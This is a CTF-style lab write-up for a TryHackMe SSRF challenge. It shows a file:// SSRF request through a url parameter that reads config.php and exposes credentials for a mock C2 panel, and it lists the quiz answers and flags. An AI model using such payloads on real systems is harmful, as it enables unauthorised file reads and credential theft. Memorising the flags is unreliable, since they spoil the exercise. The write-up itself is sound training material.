Skip to content

Latest commit

 

History

History
109 lines (62 loc) · 2.41 KB

Task 28 [Day 22] SSRF Jingle Your SSRF Bells: A Merry Command & Control Hackventure.md

File metadata and controls

109 lines (62 loc) · 2.41 KB

Task 28 [Day 22] SSRF Jingle Your SSRF Bells: A Merry Command & Control Hackventure


Learning Objectives

  • Understanding server-side request forgery (SSRF)
  • Which different types of SSRF are used to exploit the vulnerability
  • Prerequisites for exploiting the vulnerability
  • How the attack works
  • How to exploit the vulnerability
  • Mitigation measures for protection

When the machine is up add hostname to /etc/hosts file. as mentioned in this challenge.

Now You can access the C2 server by visiting the URL http://mcgreedysecretc2.thm

Screenshot 2024-01-15 at 3 17 05 AM

Exploiting the response: We noticed that if we change the URL parameter to any other file on the host, we can still fetch the file like http://10.10.100.212/getClientData.php?url=file:////var/www/html/index.php will fetch the contents of index.php.

now replace index.php with config.php

http://10.10.100.212/getClientData.php?url=file:////var/www/html/config.php


Screenshot 2024-01-15 at 3 20 59 AM
$username = "mcgreedy";
$password = "mcgreedy!@#$%";

Use above creds to log in: http://mcgreedysecretc2.thm/


Screenshot 2024-01-15 at 3 23 37 AM

QUESTIONS

  1. Is SSRF the process in which the attacker tricks the server into loading only external resources (yea/nay)?

ANSWER

nay

  1. What is the C2 version?

ANSWER

1.1

3.What is the username for accessing the C2 panel?

ANSWER

mcgreedy

  1. What is the flag value after accessing the C2 panel?

ANSWER

THM{EXPLOITED_31001}

  1. What is the flag value after stopping the data exfiltration from the McSkidy computer?

ANSWER

THM{AGENT_REMOVED_1001}

To get the flag remove McSkidy PC

Screenshot 2024-01-15 at 3 27 55 AM Screenshot 2024-01-15 at 3 28 02 AM